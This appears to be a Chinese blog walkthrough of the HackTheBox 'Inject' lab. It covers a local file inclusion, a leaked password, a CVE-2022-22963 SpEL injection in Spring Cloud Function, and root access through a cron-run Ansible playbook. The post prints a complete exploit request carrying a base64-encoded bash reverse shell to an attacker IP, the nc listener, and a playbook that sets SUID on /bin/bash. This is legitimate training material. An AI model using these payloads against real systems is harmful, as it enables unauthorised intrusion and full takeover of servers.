首页 > 其他分享 >HTB靶场之-inject

HTB靶场之-inject

时间:2023-05-12 09:01:29浏览次数:42  
标签:文件 tasks 8080 HTB inject 11.204 10.10 靶场 playbook

准备:

攻击机:虚拟机kali。

靶机:Inject,htb网站:https://www.hackthebox.com/,靶机地址:https://app.hackthebox.com/machines/Inject。

知识点:ansible提权(非漏洞提权)、本地文件包含漏洞、CVE-2022-22963、敏感信息发现。

一:信息收集

1.nmap扫描

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p22,80,8080,3306 -A 10.10.11.204,显示开放了22端口、8080端口,开启了ssh服务、http服务。

2.web服务

请求下其8080端口的web服务:http://10.10.11.204:8080/,发现存在文件上传的功能点。进行上传测试时显示只允许上传图片文件。

二:信息利用

1.文件上传

那就尝试上传一个图片码,win的cmd中copy即可生成,然后将生成的图片码上传到靶机,显示上传成功并可以查看图片信息。

2.本地文件包含漏洞

然后就尝试进行命令执行:curl http://10.10.11.204:8080/show_image?img=pass1.jpg?pass=id,意外获得了文件的绝对路径:/var/www/WebApp/src/main/uploads/pass1.jpg。

修改下请求的地址,尝试访问下上级目录发现是可以正常访问的。

然后就是利用这一直查找,共发现以下信息:

系统账户:frank、phil
#使用ssh登录时,无法直接登录
phil账户的密码信息:DocPhillovestoInject123
#命令:curl http://10.10.11.204:8080/show_image?img=../../../../WebApp/pom.xml
依赖信息:org.springframework.cloud   <version>3.2.2</version>

 三:CVE-2022-22963漏洞

 springframework.cloud版本在3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2时存在一个spel注入漏洞,其编号是cve-2022-22963,该漏洞的利用方式可以在vulhub网站查看:https://vulhub.org/#/environments/spring/CVE-2022-22963/,利用也较为简单。使用bp抓取:http://10.10.11.204:8080的数据包并进行修改。

#抓取的数据包
GET / HTTP/1.1
Host: 10.10.11.204:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

#修改后的数据包
#加密数据为base64加密,内容为:bash -i >& /dev/tcp/10.10.14.86/6688 0>&1
#10.10.14.86为本机新增的一个地址
POST /functionRouter HTTP/1.1
Host: 10.10.11.204:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44Ni82Njg4IDA+JjE=}|{base64,-d}|{bash,-i}")
Content-Type: text/plain
Content-Length: 8

test

 然后在kali中开启对6688端口的监听,命令:nc -nvlp 6688,然后发送修改后的数据包,成功获得shell权限。

 获得shell权限后利用上面发现的phil账户的密码信息:DocPhillovestoInject123切换到phil账户,然后在/home/phil目录下发现user.txt文件,读取该文件成功获得flag值。

四:提权

1.信息收集

先是使用sudo -l想查看下是否存在特权命令,未成功,然后想着查找下特权文件,发现了/usr/lib/policykit-1/polkit-agent-helper-1,之前遇到过两个这样的漏洞,经过测试均无法利用。

然后就上传了LinEnum.sh和pspy64进行信息收集,在pspy64中发现存在定时任务(不太好找,慢慢看,别急),会删除/opt/automation/tasks目录下的所有文件,然后重新将/root/playbook_1.yml复制到/opt/automation/tasks/playbook_1.yml,然后执行/opt/automation/tasks/下的所有文件。

2.ansible

首先看一下playbook_1.yml的内容与格式,并进行简单的说明。

- hosts: localhost
  tasks:
  - name: Checking webapp service
    ansible.builtin.systemd:
      name: webapp
      enabled: yes
      state: started

host部分:使用hosts指示使用哪个主机或者主机组来运行下面的tasks,每个playbooks都必须指定hosts,host也可以使用通配符格式。

tasks:指定远端主机将要执行的一系列动作。tasks的核心为ansible的模块,tasks包含name和要执行的模块,name是可选的,只是为了便于用户阅读,模块是必须的,同时也要给予模块相应的参数。

然后百度下如何执行命令,结果如下:

 

3.提权 

那我们就按照playbook_1.yml格式,构造一个playbook_2.yml来执行我们需要执行的命令,格式如下:

- hosts: localhost
  tasks:
  - name: getroot
    command: sudo chmod u+s /bin/bash

然后将playbook_2.yml上传到靶机,等待一会执行bash -p后成功获得root权限。

获得root权限后在/root目录下发现root.txt文件,读取该文件成功获得flag值。

标签:文件,tasks,8080,HTB,inject,11.204,10.10,靶场,playbook
From: https://www.cnblogs.com/upfine/p/17391617.html

相关文章

  • HTB ACADEMY-Web Fuzzing WRITE UP
    准备工作基本信息操作对象:VmwareStation(Kali-Linux)目标实例对象:178.128.46.49:30893/academy.htb安装单词列表(WordList),例如GithubSecLists,本次需要的单词列表文件如下:文件名用途/opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt......
  • kettle从入门到精通 第十八课 kettle Metadata Injection
    1、MetadataInjection类似于java里面的模版,设置通用的模版,通过输入不同的数据,得到不同的结果。本示例演示两个字段拼接成一个新字段。2、设置模版,设置模版时,只需要根据自己的需要拉取一些控件,以及设置控件之间的关系,无需设置控制的具体属性,有个前提用到的控件需要支持元数据注......
  • VueUse 是怎么封装Vue3 Provide/Inject 的?
    Provide/InjectProvide和Inject可以解决Prop逐级透传问题。注入值类型不会使注入保持响应性,但注入一个响应式对象,仍然有响应式的效果。Provide的问题是无法追踪数据的来源,在任意层级都能访问导致数据追踪比较困难,不知道是哪一个层级声明了这个或者不知道哪一层级或若干个......
  • Lampiao靶场
    Lampiao渗透流程靶机下载地址主机发现使用netdiscover进行被动扫描netdiscover-ieth0-r10.10.10.0/24使用nmap进行主动扫描nmap-sS10.10.10.0/24对目标主机对主机进行端口扫描#全端口扫描nmap-p-10.10.10.136查看目标主机的服务版本和操作系......
  • sqli 靶场通关(持续更新)
    第一关:Less-1 GET-Errorbased-Singlequotes-String(基于错误的GET单引号字符型注入)手工union联合查询注入一:判断注入类型url=http://127.0.0.2/Less-1/?id=1'看回显的报错信息这里说: '1''LIMIT0,1  这里的1被单引号包裹说明这里是字符型然后 ' 引号闭合......
  • 坑系列 (Angular 2+ ) -> 控制反转C(Inversion of Control)和 依赖注入DI(Dependency
        控制反转IOC和依赖注入DI这两个概念其实有太多优秀的文章,由浅入深,从不同的角度,再到不同的比喻进行了讲解,对于新手的我来说,看完之后,好像看了又没完全看,回头摸索实践,还是总有种似懂非懂,懂了又没完全懂(‘X了又没完全XXX’句式是2021年某个梗嘻嘻......
  • xss-labs靶场
    在线XSS-labs靶场:https://xssaq.com/yx/靶场搭建靶场是直接使用docker搭建的dockerpullvulfocus/xss-labs启动靶场dockerrun-p8005:80vulfocus/xss-labs浏览器访问IP+8005windows搭建使用phpstudy_pro搭建下载地址:https://github.com/do0dl3/xss-labs解压文件......
  • Langchain框架 prompt injection注入
    Langchain框架promptinjection注入PromptInjection是一种攻击技术,黑客或恶意攻击者操纵AI模型的输入值,以诱导模型返回非预期的结果Langchain框架LangChain是一个基于大语言模型进行应用开发的框架。所谓大语言模型(LargeLanguageModels,LLMs),是指基于海量语料训练、......
  • Oracle sql injection
    先创建一个普通用户并授权:C:\>sqlplus"/assysdba"SQL*Plus:Release10.2.0.1.0-Productionon星期三7月3121:49:452013Copyright(c)1982,2005,Oracle.Allrightsreserved.连接到:PersonalOracleDatabase10gRelease10.2.0.1.0-ProductionWiththe......
  • SQL Injector - POST Parameter Attack
    login.jsp如下:<%@pagelanguage="java"contentType="text/html;charset=UTF-8"pageEncoding="UTF-8"%><!DOCTYPEhtmlPUBLIC"-//W3C//DTDHTML4.01Transitional//EN""http://www.w3.org/TR/html4/loose.d......